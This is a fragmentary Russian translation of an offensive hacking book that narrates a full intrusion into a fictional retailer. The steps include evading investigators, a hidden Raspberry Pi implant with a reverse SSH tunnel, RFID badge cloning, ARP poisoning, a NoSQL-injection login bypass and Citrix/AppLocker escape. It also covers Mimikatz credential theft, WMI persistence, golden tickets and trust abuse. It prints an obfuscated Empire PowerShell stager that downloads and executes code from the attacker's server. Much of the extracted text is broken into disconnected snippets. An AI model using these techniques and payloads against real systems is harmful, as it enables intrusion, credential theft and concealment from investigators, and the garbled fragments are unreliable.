Открыть Электронные книги
Категории
Открыть Аудиокниги
Категории
Открыть Журналы
Категории
Открыть Документы
Категории
Занимайся хакингом
с ловкостью Бога
Спарк Флоу
https://hacklikeapornstar.com
Перевод
@Ianuaria
skladchik.com
Отказ от ответственности
https://www.hacklikeapornstar.com/best-hacking-books/
Перевод
@Ianuaria
skladchik.com
Предисловие
Перевод
@Ianuaria
skladchik.com
можно больше примеров, придерживаясь заявленной цели данной
книги.
Перевод
@Ianuaria
skladchik.com
Подготовка и напутствие
“Удача - это когда подготовка встречается с возможностью”.
Сенека
Перевод
@Ianuaria
skladchik.com
30 тысяч долларов за это пальто, вы сказали?
Священный Грааль
Наша цель как атакующих - это не взломать все то, у чего есть
IP-адрес. Зачем обходить 50 тысяч бесполезных серверов, если
лишь на некоторых из них хранится нужная нам информация?
1
https://www.wired.com/2016/05/insane-81m-bangladesh-bank-heist-heres-know/
Перевод
@Ianuaria
skladchik.com
Мы подстроим наши усилия под сложность и размер
GibsonBird - за исключением, конечно же, возникающих время от
времени соблазнов в некоторых ситуациях. Да кто вообще сможет
устоять при наличии сервера под Windows 2003 SP2 с открытым
SMB-портом?!2
В идеале мы хотим:
2
Уязвимость MS08-067 позволяет проводить удаленное выполнение кода без аутентификации
в Windows 2003 SP2. Код эксплойта публично доступен по ссылке:
https://www.exploit-db.com/exploits/7104/
Перевод
@Ianuaria
skladchik.com
Это было достаточно весело, но в этот раз мы собираемся
следовать по более экзотическим путям. Мы разберемся, как
атакующий с физическим доступом может нанести ущерб, который
быстро перерастет в то, что СМИ назвали бы (ошибочно)
продвинутой постоянной угрозой (APT).
3
Уязвимость нулевого дня - это уязвимость, для которой еще нет патча от поставщика
продукта. Представьте, что вы обнаружили уязвимость, позволяющую вам залогиниваться на
любой Windows-машине, и при этом Microsoft даже понятия не имеет о существовании такой
уязвимости. Это и будет уязвимость нулевого дня (zero-day), подобные уязвимости могут
достигать в цене нескольких сотен тысяч долларов.
Перевод
@Ianuaria
skladchik.com
Взять к примеру АНБ. Согласно разоблачениям Сноудена4, это
одна из их любимых стратегий.
Карта сокровищ
4
https://www.theguardian.com/us-news/the-nsa-files
Перевод
@Ianuaria
skladchik.com
Эта подготовительная фаза очень важна, поскольку она может
великолепно помочь нам в разработке и определении оптимального
плана для атаки, особенно после того, как мы окажемся внутри
сети.
Перевод
@Ianuaria
skladchik.com
Поэтому давайте добавим Wi-Fi связь для гипотетической
структуры сети:
Перевод
@Ianuaria
skladchik.com
Можем предположить, что магазины в каждой из стран
используют одинаковую топологию сети, в которой корпорация
является юридическим лицом, представляющим бренд во всех
странах.
Перевод
@Ianuaria
skladchik.com
Экипируемся
“Человек должен придавать форму инструментам, иначе они
будут придавать форму ему”.
Артур Миллер
Перевод
@Ianuaria
skladchik.com
Как упоминалось ранее, идея состоит в имплантации
небольшого аппаратного бэкдора в один из множества магазинов
GibsonBird.
Перевод
@Ianuaria
skladchik.com
Многоуровневый подход
5
https://bitcoin.org/en/how-it-works
6
http://cryto.net/~joepie91/bitcoinvps.html
7
Мне также нравится иметь и Windows-сервер, чтобы легко тестировать скрипты перед их
запуском на целевых машинах.
Перевод
@Ianuaria
skladchik.com
светиться как источник всех атак, если какой-либо следователь
возьмется соединить все улики.
9
Проект Tor - это свободная сеть из компьютеров, взаимосвязанных друг с другом таким
образом, чтобы защитить идентификационные данные всех участников. Учитывая, что любой
может присоединиться к проекту и ретранслировать зашифрованный трафик, ходят упорные
слухи о том, что правительственные структуры эффективно внедрились в сеть, поэтому я не
рекомендую вам слепо полагаться на Tor.
Перевод
@Ianuaria
skladchik.com
Вот почему критически важно избегать использования
IP-адресов вашего дома/университета/работы. Вместо этого
предпочтительно соединяться через публичный Wi-Fi (кафе,
железнодорожный вокзал и т.д.), чтобы обеспечить глубокую
защиту.
10
http://docs.kali.org/downloading/kali-linux-live-usb-install
Перевод
@Ianuaria
skladchik.com
Теперь наша атакующая инфраструктура полностью готова к
действию - это была простая часть подготовки - давайте теперь
сфокусируемся на аппаратном импланте.
Волшебная ягодка
11
“Одиннадцать друзей Оушена” -
http://www.imdb.com/title/tt0240772/
Перевод
@Ianuaria
skladchik.com
С технической точки зрения мы можем работать с любой
моделью (A, A+, B или Zero); основное различие в размере и
вычислительной мощности.
Перевод
@Ianuaria
skladchik.com
1. Слот для карты Micro SD. У PI нет жесткого диска, поэтому нам
нужно подключить карточку Micro SD, на которой будет
содержаться операционная система для загрузки. Мы
выберем версию Kali Linux для Raspberry Pi, хотя
теоретически подойдет любой дистрибутив Linux.
2. Micro USB для питания PI.
3. Второй micro USB, в который мы можем подключить
переходник RJ45, чтобы соединить PI с роутером, к примеру.
Суммарно: $30!
Перевод
@Ianuaria
skladchik.com
Готовность к загрузке
12
https://www.offensive-security.com/kali-linux-arm-images/
13
https://sourceforge.net/projects/win32diskimager/
Перевод
@Ianuaria
skladchik.com
Если вы под Linux, можете выполнить простое “сырое”
копирование при помощи команды
dd:
Перевод
@Ianuaria
skladchik.com
Мы подключаем SD карту к машине c дистрибутивом Linux
(например, Live Ubuntu на USB), затем добавляем одну простую
строку в файл “ /etc/rc.local”, который находится во втором
разделе.
# Вывод IP-адреса
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
printf "My IP address is %s\n" "$_IP"
fi
# Добавление следующей строки для запуска SSH по загрузке
sudo /etc/init.d/ssh start
exit 0
14
Если у вас есть доступ к интерфейсу администратора маршрутизатора, то вы также легко
сможете увидеть адрес PI.
Перевод
@Ianuaria
skladchik.com
Как только у нас появится IP-адрес PI Zero, мы можем
подключиться к нему, используя команду
ssh в Linux, либо утилиту
putty в Windows. Дефолтные учетные данные
15
root/toor:
Мост в небо
15
http://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
Перевод
@Ianuaria
skladchik.com
То, что задумывалось как закрытая локальная сеть таким
образом становится открытой сетью, к нашему удовлетворению.
16
RDP (Протокол удаленного рабочего стола) - это Windows-протокол, используемый для
удаленного управления машиной. Служба обычно работает на порту 3389.
Перевод
@Ianuaria
skladchik.com
Например, система будет мониторить все входящие
запросы и как только она увидит запрос, упоминающий порт 80,
она перенаправит запрос в адрес приложения, слушающего этот
порт, обычно это веб-сайт.
Перевод
@Ianuaria
skladchik.com
Поэтому, чтобы подключиться к PI по SSH (то есть, достичь
порта 22), мы будем просто подключаться к серверу Front Gun на
порт 5555. Туннель будет делать все остальное:
https://sourceforge.net/projects/sshpass/
Перевод
@Ianuaria
skladchik.com
Идея состоит в том, что каждому пользователю даются
два ключа: один открытый (E), который может сообщаться
третьей стороне, а другой закрытый (D), который должен быть
защищен самым решительным образом.
18
Не знаю более крутой книги по криптографии, чем “Прикладная криптография” от Брюса
Шнайера.
Перевод
@Ianuaria
skladchik.com
Мы загружаем файл id_rsa.pub на сервер Front Gun и
вставляем открытый ключ в файл authorized_keys в директории
/root/.ssh
Перевод
@Ianuaria
skladchik.com
Мы даем инструкцию crontab, планировщику заданий в Linux,
запускать скрипт watchdog каждые 15 минут. Скрипт проверяет
запущенные инстансы SSH-перенаправления (основываясь на
ключевом слове 5555); если их нет, он пытается установить туннель
заново.
#!/bin/bash
Вторжение
Перевод
@Ianuaria
skladchik.com
● Магазины, разворачиваемые в торговых центрах для
временных модных показов. В подобных магазинах, как
правило, минимальное количество мебели и предельно
упрощенная компоновка: один-два компьютера, медиа-центр и
роутер, спрятанный в углу. Поскольку они временные,
критически важно подгадать правильный тайминг.
Перевод
@Ianuaria
skladchik.com
Ввиду ограниченного пространства в некоторых торговых
центрах и очевидной потребности производить хорошее
впечатление на клиентов, GibsonBird держит свой роутер
прикрепленным ко внешней стене за пределами пространства
магазина в небольшом техническом помещении. Никто не захочет
наблюдать, как техник ковыряется с синими проводами, в процессе
примерки костюма за 20 тысяч долларов.
Перевод
@Ianuaria
skladchik.com
пошевелить им до тех пор, пока он не попадет за засов. Играясь с
дверной ручкой, у нас получается сделать это. Заключительный
легкий толчок влево открывает дверь настежь.
Изображение 2. Источник:
http://zps-electronics.com/eng/docs/wiegand_rfid_reader_avr/
19
Учитывая ограниченное количество цифр, есть высокая вероятность появления коллизий у
подобного типа карт. Существуют также карты с более длинными идентификаторами.
Перевод
@Ianuaria
skladchik.com
Интересный факт: большинство карт - это пассивные карты,
это означает, что они автоматически передают этот номер в
открытом тексте каждый раз, когда они получают внешний
физический стимул: либо от легитимного считывателя, либо от
поддельного считывателя - например, это может быть
Android-устройство атакующего!
20
https://store.ryscc.com/products/new-proxmark3-kit
21
http://hackerwarehouse.com/product/blekey/
Перевод
@Ianuaria
skladchik.com
Мы откручиваем считыватель карт HID после снятия передней
панели, затем просто подсоединяем BLEkey по трем проводам:
зеленый (DATA0), белый (DATA1) и черный (GND).
22
https://www.blackhat.com/docs/us-15/materials/us-15-Evenchick-Breaking-Access-Controls-With-BLE
Key-wp.pdf
Перевод
@Ianuaria
skladchik.com
Возвращаемся через несколько часов и подключаемся к
BLEkey в считывателе HID по Bluetooth, используя
публично-доступный клиент.23 Мы даем ему инструкцию на
воспроизведение последнего номера карты (инструкция tx 0xFF):
это номер карты авторизованного технического сотрудника, который
пару часов назад ковырялся там с какими-то кабелями. О чудо,
дверь теперь открыта!
23
https://github.com/linklayer/BLEKey/tree/master/client
Перевод
@Ianuaria
skladchik.com
Осознание
“Первый шаг к изменениям - осознание того, что происходит.
Второй шаг - приятие происходящего”.
Натаниель Бранден
Перевод
@Ianuaria
skladchik.com
Разнюхиваем обстановку
Перевод
@Ianuaria
skladchik.com
Мы могли бы начать записывать пакеты, проходящие по сети с
помощью одного из множества встроенных в Kali инструментов
(tcpdump, tshark и так далее), но в любом случае, мы сможем
успешно получить только трафик, предназначенный для PI.
Перевод
@Ianuaria
skladchik.com
устройство, которое ответит “Это я работаю на порту 4 в роутере24”,
получает приз, и ему отправляется пакет с данными.
24
С технической точки зрения устройство отвечает своим MAC-адресом, который роутер затем
преобразует в номер порта.
25
Также присутствует факт того, что Ettercap не представлен по умолчанию в Kali для
Raspberry, поэтому его необходимо устанавливать вручную.
Перевод
@Ianuaria
skladchik.com
Вдобавок, многие новые роутеры настроены на запуск мер
противодействия (порой, очень решительных), если обнаруживают
флуд из заспуфленных ARP-сообщений: они отключают спамера,
игнорируют его сообщения, банят его и так далее.
Перевод
@Ianuaria
skladchik.com
надежный поток данных. В зависимости от запроса, сделанного
устройством, мы либо получим пароли в открытом тексте, в случае,
если пользователь посетит внутреннюю веб-страницу, защищенную
BASIC-аутентификацией26, либо, с большей вероятностью, хэш
NTLM-ответа (больше об этом далее).
26
В схеме BASIC-аутентификации пользователь добавляет HTTP-заголовок, содержащий
‘login:password’ в base64-кодированном формате. Этот заголовок присутствует во всех
запросах, что позволяет легко перехватывать его.
Перевод
@Ianuaria
skladchik.com
Перевод
@Ianuaria
skladchik.com
-wrfопция активирует различные опции по отравлению
-Iопределяет имя устройства для отравления
Перевод
@Ianuaria
skladchik.com
Как и ожидалось, мы встречаем компьютер менеджера
(192.168.1.25), работающий на операционной системе Windows - это
становится понятно благодаря классическим службам “microsoft-ds”
и “netbios-ssn” (порты 445 и 139).
Перевод
@Ianuaria
skladchik.com
Вывод nmap показывает то, что похоже на веб-страницу на
порту 80 на обоих устройствах.
27
https://github.com/k3idii/python-socks-server
Перевод
@Ianuaria
skladchik.com
Посещаем открытый порт 80 на машине 192.168.1.87 и
обнаруживаем крайне приятный сюрприз:
Перевод
@Ianuaria
skladchik.com
продукты устанавливаются с дефолтными, прямо-по-мануалу
учетными данными.28
28
За несколько месяцев до выхода этой книги была проведена одна из самых массированных
DoS-атак, когда-либо случавшихся, в которой использовались дефолтные пароли для
незащищенных IoT-устройств: камеры, термостаты, фонари освещения и т.д. Эта атака
поставила на колени буквально половину интернета… вот насколько огромной является эта
проблема безопасности:
https://www.wired.com/2016/12/botnet-broke-internet-isnt-going-away/
29
https://www.exploit-db.com/google-hacking-database/13/
Перевод
@Ianuaria
skladchik.com
Веб-сайт Shodan30, поисковый движок для всего того, что
подключено к интернету, также покажет несколько сотен тысяч
камер.
Перевод
@Ianuaria
skladchik.com
(корпоративного в данном случае, может быть?), используя HTTP,
FTP, NFS (обмен файлами в Unix) или другие протоколы, затем
осуществляет потоковую передачу этих файлов на экраны TV,
подписанные на медиа-центр.
31
https://github.com/danielmiessler/SecLists/tree/master/Passwords
Перевод
@Ianuaria
skladchik.com
Это сообщение об ошибке может обрадовать хакера до такой
степени, что можно пойти дать пять случайному прохожему!
auth_db.find( {
"user": "admin",
"password":"wrong_pass"
} )
Перевод
@Ianuaria
skladchik.com
Вставка двойной кавычки в поле с паролем дает некорректные
данные для функции find(), что обычно приводит к исключению, по
этой причине возникла предыдущая ошибка:
auth_db.find( {
"user": "admin",
"password":"wro"ng_pass"
} )
auth_db.find( {
"user": "admin",
"password":"", "password":{"$gte":"
"}
} )
Перевод
@Ianuaria
skladchik.com
Мы внутри!
32
https://www.owasp.org/index.php/Testing_for_NoSQL_injection
Перевод
@Ianuaria
skladchik.com
Первые учетные данные - добро пожаловать в команду
33
Вплоть до последних версий Windows, где появился Kerberos… Больше о Kerberos далее в
книге.
34
Мы представили протокол версии v1. Во второй версии появляется рандомное число,
которое отправляется и со стороны клиента. Это никак не влияет на наш сценарий.
Перевод
@Ianuaria
skladchik.com
● Рабочая станция пользователя применяет определенные
математические функции к его паролю для получения хэша,
уникального отпечатка, который мы будем называть H.
● Рабочая станция затем соединяет хэш (H) с рандомным
числом и вычисляет другой хэш, называемый H2. Это
NTLM-ответ на запрос.
● Рабочая станция отправляет этот результирующий хэш (H2)
на сервер.
● У сервера есть доступ к захэшированному паролю
пользователя (H), и он знает рандомное число. Он вычисляет
H2 на своей стороне и сравнивает его с полученным H2. Если
значения совпадают, пользователь получает доступ.
Мы запускаем
John на сервере Front Gun (или на выделенном
сервере для взлома паролей, если он у вас есть) и терпеливо
ожидаем результата:
35
https://wiki.skullsecurity.org/Passwords,
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm
Перевод
@Ianuaria
skladchik.com
Отлично! Теперь у нас есть учетная запись, с которой можно
поиграться! Учетная запись менеджера, не меньше. Теперь мы
становимся официальной частью окружения GibsonBird.
Перевод
@Ianuaria
skladchik.com
Доменный апофеоз
“Единственное отличие между тобой и Богом в том,
что ты забыл, что ты и есть Бог”.
Дэн Браун
Перевод
@Ianuaria
skladchik.com
Active Directory
36
Каждый домен далее может быть разделен на организационные подразделения. Первый
домен в лесу называется корневым доменом.
Перевод
@Ianuaria
skladchik.com
● Локальные пользователи, чьи хэши паролей хранятся
локально на сервере
● Пользователи домена, чьи хэши паролей хранятся на
контроллере домена
37
Есть ряд других способов получения тотального контроля над доменом: привилегия на
запись для GPO, делегирование административных полномочий и т.д. Посмотрите на этот
великолепный доклад с Black Hat 2016:
https://www.youtube.com/watch?v=2w1cesS7pGY
Перевод
@Ianuaria
skladchik.com
которую они используют, и конечно, сервер, с которым они
пытались связаться, когда мы перехватили этот запрос.
Нажимаем на повтор!
Перевод
@Ianuaria
skladchik.com
функции и процедуры на машинах, некоторые из которых
позволяют выполнять код.
Перевод
@Ianuaria
skladchik.com
Мы обратимся к инструменту под названием wmiexec из
фреймворка Impacket38, чтобы получить интерактивное
приглашение на ввод команд через RPC.
38
https://github.com/CoreSecurity/impacket
Перевод
@Ianuaria
skladchik.com
Окей, не в этот раз. ADMIN$, C$ и IPC$ - это дефолтные общие
сетевые ресурсы, доступные только для пользователей с правами
администратора (имеется ввиду, удаленно). По сути, у нас есть
валидные учетные данные, но мы ограничены небольшим
количеством потенциальных целей… Хотя, подождите-ка!
Перевод
@Ianuaria
skladchik.com
Му сузили список возможных целей до выборки из нескольких
целей со службами для обмена файлами (10 машин из 253).
Давайте проведем процесс их спайдеринга, используя грязную
петлю на bash, которая выведет список доступных общих сетевых
ресурсов при помощи команды smbclient:
#!/bin/bash
Перевод
@Ianuaria
skladchik.com
папки, но используя учетную запись dvoxon с пониженными
привилегиями, мы не можем получить к ним доступ (пока что):
Перевод
@Ianuaria
skladchik.com
smbclient возвращает несколько xml-файлов,
расположенных в этой папке. Контроллеры доменов используют эти
файлы (groups.xml, ScheduledTasks.xml и т.д.), чтобы применять
специфические конфигурации на машинах домена.
Перевод
@Ianuaria
skladchik.com
Microsoft случайно опубликовали ключ на своем веб-сайте
несколько лет назад:
Быстрый тест
wmiexec подтверждает, что у
нас
действительно есть полный контроль над рабочей станцией:
39
Gpp-decrypt не доступен для ARM-версии Kali. Поэтому мы дешифруем пароль на сервере
Front Gun.
Перевод
@Ianuaria
skladchik.com
Empire спешит на помощь
Перевод
@Ianuaria
skladchik.com
На экране приветствия идем в меню прослушивателей
(команда listeners) и выводим их дефолтный список при помощи
команды info:
Перевод
@Ianuaria
skladchik.com
строкового выполнения. Его можно обратить при помощи
следующей команды, если вам это интересно:
[SYStem.NeT.ServicEPoiNTManAger]::ExPECt100CoNTInuE =
0;$WC=NeW-OBjECT
SYSTem.Net.WEBCLIENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko';$wc.HEadeRS.ADD('User-Agent',$u);
$Wc.PrOXy = [SYsTeM.Net.WeBReqUEST]::DEfAUltWEbPRoxy;
$WC.ProXY.CreDEnTiALS =
[SYStem.NeT.CREdENtiaLCaCHe]::DefaultNetwORkCREdeNtIaLs;
$K='7c37be7260f8cd7c1f5e4dbdd7bc5b23';
$I=0;
[CHAR[]]$b=([CHAR[]]
($wC.DowNlOADSTrInG("http://192.168.56.101:443/index.asp")))|%{$_-
BXOr$k[$I++%$k.LEnGth]};
IEX ($B-JoiN'')
Перевод
@Ianuaria
skladchik.com
Мы запускаем этот stager на рабочей станции менеджера при
помощи wmiexec и терпеливо ожидаем оповещения на сервере
Front Gun:
Перевод
@Ianuaria
skladchik.com
Можем оставить агент
wk_admin работать для выполнения
различных действий на машине: выводить список папок, получать
файлы и так далее. Но мы будем привязаны к этой конкретной
рабочей станции.
40
Мы могли бы использовать другую, менее интрузивную технику, известную как
имперсонализация токена. Поговорим о ней чуть позже.
Перевод
@Ianuaria
skladchik.com
Используя агент
dvoxon и модуль get_domain_controller,
мы можем увидеть, что есть два контроллера домена: SV0198 и
SV0199.
Домен
GBSHOP управляется
четырьмя высоко
привилегированными учетными записями: administrator,
georges_adm, rachel_adm и sysback. Это наши цели для получения
контроля над GBSHOP. Нам нужно постоянно держать их в поле
зрения:
Перевод
@Ianuaria
skladchik.com
Теперь становится интересно! Доверительное отношение, как
вы могли догадаться, это когда один домен доверяет и разрешает
пользователям из других доменов подключаться к своим машинам.
41
Тип доверия “TreeRoot” или “ChildRoot” означает, что два домена совместно используют один
и тот же лес. Если мы скомпрометируем один домен, то сможем скомпрометировать все
домены в лесу. Далее в книге о Kerberos и krbtgt.
Перевод
@Ianuaria
skladchik.com
С учетом этой новой информации, по всей видимости, есть
большее разделение, чем мы изначально могли подумать.
Магазины по всей стране, видимо, все подключены к одному домену
GBSHOP, который в свою очередь подключен к отделу продаж. Но мы
нашли другие ветви, а именно, R&D (отдел исследований и
разработок) и HR (отдел кадров), которые считаются отдельными
сущностями.
Перевод
@Ianuaria
skladchik.com
Разберемся с этим по порядку! Во-первых, закончим с
GBSHOP,
затем поищем возможности на других доменах. По одному
небольшому шагу за раз.
Перевод
@Ianuaria
skladchik.com
текущего рабочего стола пользователя, чтобы посмотреть, чем он
занимается:
Перевод
@Ianuaria
skladchik.com
Вырываемся на свободу
Перевод
@Ianuaria
skladchik.com
В конце концов, Citrix - это не что иное, как “накрученный”
RDP-сеанс42, открываемый на удаленном сервере и привязанный к
одному приложению. Когда вы начинаете думать о нем в этом
русле, открывается целый набор новых возможностей.
42
Интерактивный удаленный доступ
Перевод
@Ianuaria
skladchik.com
Выбор за нами! Мы можем подключиться к приложению
продажников и получить доступ к некоторым данным, но это будут
всего лишь несколько продаж, сделанные в этом небольшом
магазинчике. Мы должны стремиться к большему, и мы должны
мечтать о большем!
Перевод
@Ianuaria
skladchik.com
Ваш системный администратор заблокировал эту программу.
Для получения дополнительной информации обратитесь к своему
системному администратору.
43
Почитайте отличную статью с другими трюками, которые можно попробовать:
https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-envi
ronments/
Перевод
@Ianuaria
skladchik.com
Открывается Internet Explorer! Интересно, хотя есть некоторые
оговорки. Диспетчер задач запустить не разрешается, а Internet
Explorer можно!
44
По адресу: http://ikat.ha.cked.net/ есть онлайн-инструменты для чтения файлов и выполнения
команд в ограниченных окружениях (iKAT).
Перевод
@Ianuaria
skladchik.com
Отлично! Теперь мы можем просматривать файлы на сервере.
Время копнуть глубже! В идеале нам нужно найти какие-нибудь
учетные данные на машине, поэтому будем искать по классике -
файлы с расширениями:
.vba, .vbs, .bat, .ps1и т.п.
<Password>*КРИТИЧНЫЕ*ДАННЫЕ*УДАЛЕНЫ*</Password>
Перевод
@Ianuaria
skladchik.com
Ваш системный администратор заблокировал эту программу.
Для получения дополнительной информации обратитесь к своему
системному администратору.
Перевод
@Ianuaria
skladchik.com
Конечно: 32-битная версия cmd.exe, powershell.exe,
powershell_ise.exe, powershell.exe (32-битный45), файлы .BAT,
VBS-файлы, HTA-приложения, JS-файлы, объекты ActiveX...
Отлично! Команды во
WMIC имеют дикую структуру, но по
итогу, мы получаем такую же информацию, что и через
стандартные команды.46
45
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
46
Полезные WMIC-запросы:
https://blogs.technet.microsoft.com/askperf/2012/02/17/useful-wmic-queries/
Перевод
@Ianuaria
skladchik.com
Допустим, мы хотим получить имя машины и степень ее
пропатченности: мы выполняем команды
computersystem get name
иqfe get Hotfixid:
47
https://github.com/FuzzySecurity/PowerShell-Suite/raw/master/Invoke-MS16-032.ps1
Перевод
@Ianuaria
skladchik.com
Мы можем скачать DLL-реализацию PowerShell с Github
автора p3nt448 и переместить ее на сервер Citrix (либо напрямую
через Internet Explorer, либо через PI Zero, сначала поместив файл
в него, а затем загрузив его на сервер Citrix49).
rundll32.exe PowerShdll.dll,main
rundll32.exe cmd.dll,Control_RunDLL
48
https://github.com/p3nt4/PowerShdll/tree/master/dll
49
При помощи чего-то типа python -m SimpleHTTPServer для порождения веб-сервера на PI.
50
https://blog.didierstevens.com/2010/02/04/cmd-dll/
51
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
Перевод
@Ianuaria
skladchik.com
ядрах CPU, для открытия командной строки с наивысшими
привилегиями в системе:
NT AUTHORITY.
Перевод
@Ianuaria
skladchik.com
wmic с учетными данными
Готово! Появляется новое окно
администратора. Красота этого решения, кроме, конечно, наличия
привилегий администратора, в том, что мы больше не
ограничиваемся недоброжелательной политикой AppLocker!
Перевод
@Ianuaria
skladchik.com
связанного с ней из любого магазина в стране! В этом великолепная
особенность Citrix.
52
https://www.youtube.com/watch?v=-IMrNGPZTl0
Перевод
@Ianuaria
skladchik.com
Конечно же, антивирусы и средства для борьбы с вредоносным ПО
пометят первые пять байт этого инструмента. И это правда!
53
Инструменты для конечных устройств по обнаружению и реагированию стараются
использовать различные подходы для сканирования памяти на вредоносное поведение, но они
по-прежнему находятся на стадии развития и их можно обойти практически всегда…
54
https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz
Перевод
@Ianuaria
skladchik.com
Mimikatz, затем
Далее мы загружаем PowerShell-обертку
исполняем ее в памяти при помощи всемогущей команды
Invoke-Expression”. Последний штрих - вызвать функцию
“
Invoke-Mimikatz, и да начнется дождь!
Эльдорадо Windows
Перевод
@Ianuaria
skladchik.com
отзванивать домой каждые 10 минут, чтобы сохранять уверенность,
что все в порядке? Уверен, вам нравится эта идея, давайте
перейдем к делу!
55
Ключи реестра хранят конфигурацию Windows. Их можно просмотреть при помощи утилиты
regedit.exe
Перевод
@Ianuaria
skladchik.com
Один из таких интересных компонентов - это фильтр событий.
Он может привязать событие на машине: создание процесса, вход
пользователя в систему и т.д., к запуску действия, например,
выполнению команды. Понимаете, к чему я веду?
Перевод
@Ianuaria
skladchik.com
таймером среди тысяч других событий, запускаемых каждую
секунду в Windows:
56
В этом параграфе я не стал заморачиваться с настройкой HTTPs-сервера, чтобы больше
сосредоточиться на схеме для устойчивости. Позже мы познакомимся со скриптом, который
работает с HTTPs (как на стороне клиента, так и на стороне сервера), так что потерпите
немного.
Перевод
@Ianuaria
skladchik.com
Помещаем эту переменную FinalPayload в объект
CommandLineEventConsumer для его
подписчика WMI класса
регистрации:
Перевод
@Ianuaria
skladchik.com
Красиво, не так ли?57 Никаких файлов на диске, никаких
ключей в автозапуске, только лишь незаметная манипуляция с
Windows. Можете получить вдохновение для подобных
причудливых методов закрепления в этой серии материалов58 - хотя
не уверен, что там упоминаются фильтры WMI.
57
Мы могли бы не сдержаться и использовать рандомное имя файла, HTTPs с сертификатом
Let’s Encrypt и другие прикольные вещи. Возможно, я напишу об этом в своем блоге в будущем.
58
http://www.hexacorn.com/blog/2017/01/28/beyond-good-ol-run-key-all-parts/
Перевод
@Ianuaria
skladchik.com
исходным кодом под названием Kerberos.59 Вот основные шаги
Windows Kerberos:
процесса аутентификации
59
http://www.roguelynn.com/words/explain-like-im-5-kerberos/
Перевод
@Ianuaria
skladchik.com
Как было отмечено, он шифруется DC при помощи
уникального ключа и ему оказывается дальнейшее доверие в этом
процессе для точного представления пользовательских привилегий.
Секретный ключ, шифрующий TGT, является хэшем пароля учетной
записи krbtgt, это дефолтная учетная запись, представленная в
каждом домене Windows.
Перевод
@Ianuaria
skladchik.com
Оказывается, что контроллеры доменов регулярно
обмениваются хэшами паролей для делегации аутентификации.
Если мы сможем олицетворить контроллер домена, то сможем
вежливо попросить любой легитимный контроллер домена
предоставить нам хэш пароля любой учетной записи!
Вооружившись нашими привилегиями администратора домена, мы
будем использовать
Mimikatz именно для этого - я же говорил вам,
это потрясающий инструмент для взлома Windows!
Перевод
@Ianuaria
skladchik.com
Благополучно сохраняем этот хэш на сервер Front Gun. Для
генерации Золотого Билета нам также нужно определить SID
домена: уникальный идентификатор объекта Windows:
S-1-5-21-2376009117-2296651833-4279148973
Перевод
@Ianuaria
skladchik.com
Готово! В следующий раз нам следует использовать этот
Золотой Билет из нового сеанса
Empire, к примеру, мы выполняем
следующую команду:
Перевод
@Ianuaria
skladchik.com
Злоупотребление доверием
“Доверие невинных - самый полезный инструмент лжеца”.
Стивен Кинг
Перевод
@Ianuaria
skladchik.com
Игра с сетью
FTP_SALES$, но
Получаем доступ к соблазнительному ресурсу
выясняется, что там практически пусто. Есть один небольшой
Перевод
@Ianuaria
skladchik.com
скрипт, который, по всей видимости, пушит файлы через FTP на
удаленный хост:
Import-Module PSFTP
$FTPServer = '10.30.30.210'
$FTPUsername = 'FTPService'
$FTPPassword = $( Read-Host "Input password, please" )
$FTPSecurePassword = ConvertTo-SecureString -String $FTPPassword -
asPlainText -Force
$FTPCredential = New-Object
System.Management.Automation.PSCredential($FTPUsername,$FTPSecurePas
sword)
[…]
Перевод
@Ianuaria
skladchik.com
Совет: запуск n slookup в
отношении Полностью
определенного имени домена (FQDN) для доменов Windows
возвращает IP-адрес DC.
60
https://technet.microsoft.com/en-us/library/cc756944(v=ws.10).aspx
Перевод
@Ianuaria
skladchik.com
● 389 для LDAP-коммуникаций
● Несколько динамических портов для RPC-коммуникаций
Гораздо лучше!
Перевод
@Ianuaria
skladchik.com
Как и ожидалось, теперь мы можем “увидеть” некоторые
ресурсы GBSALES. Вдобавок, ввиду доверительных отношений
между двумя доменами, мы можем опрашивать машины GBSALES,
используя пользователей домена GBSHOP. Хотя в большинстве
случаев у нас будут стандартные пользовательские привилегии!
Приготовьтесь к новому эпизоду эскалации привилегий!
Перевод
@Ianuaria
skladchik.com
Давайте выведем все Windows-хосты, зарегистрированные в
домене, чтобы оценить размер этой новой цели:
В сравнении с
GBSHOP, в котором была всего пара серверов,
GBSALES находится на другом уровне. Суммарное количество
компьютеров 350!
Перевод
@Ianuaria
skladchik.com
Отлично! Если мы каким-либо образом получим
привилегированные учетные данные в домене GBSALES, то мы
сможем перейти на этот ценный сервер!
Перевод
@Ianuaria
skladchik.com
Это уже интересно! Вы въезжаете? Окей, это может немного
GBSHOP:
помочь. Вот учетные записи администраторов домена
Эксплуатация доверия
Перевод
@Ianuaria
skladchik.com
Теперь, когда у нас есть хэш пароля sysback, мы можем
использовать его для порождения нового процесса на сервере.
Когда этот процесс будет проходить аутентификацию на удаленных
ресурсах, он будет “передавать” хэш sysback, таким образом
эффективно олицетворяя идентификатор sysback - при условии,
конечно, что пароль действительно одинаковый на обоих доменах.
Перевод
@Ianuaria
skladchik.com
Если бы мы были в интерактивном графическом сеансе, то
sysback. Но
увидели бы появление нового окна с учетной записью
поскольку мы под обратным соединением с использованием
Empire, это окно остается в фоне.
Перевод
@Ianuaria
skladchik.com
sysback в GBSALES действительно использует такой же пароль, что
ив GBSHOP, мы просто тестируем удаленное действие в DC GBSALES
- например, вывод защищенного ресурса C$ - и смотрим, сработает
ли это:
Перевод
@Ianuaria
skladchik.com
Далее взаимодействуем с агентом и направляемся прямиком
в дефолтную папку, используемую FTP в Windows:
Вот оно!
Перевод
@Ianuaria
skladchik.com
Что ж, команда delete в конце скрипта объясняет многое! Мы
получили, будем на это надеяться, последний IP-адрес в этой
бешеной гонке: 10.30.30.41. Эта новая машина также, судя по
всему, находится в сегменте сети GBSALES, поэтому нам не нужно
гнаться за новой целью. Учетные данные от FTP: FTPSRV/PASS01
Open 10.30.30.41
FTPSRV
PASS1
dir
quit
61
Перед отправкой файла, записанного в Unix на Windows-платформу, убедитесь, что
добавили возвраты каретки (0x0D) перед переводами строки (0x0A) при помощи команды
unix2dos.
Перевод
@Ianuaria
skladchik.com
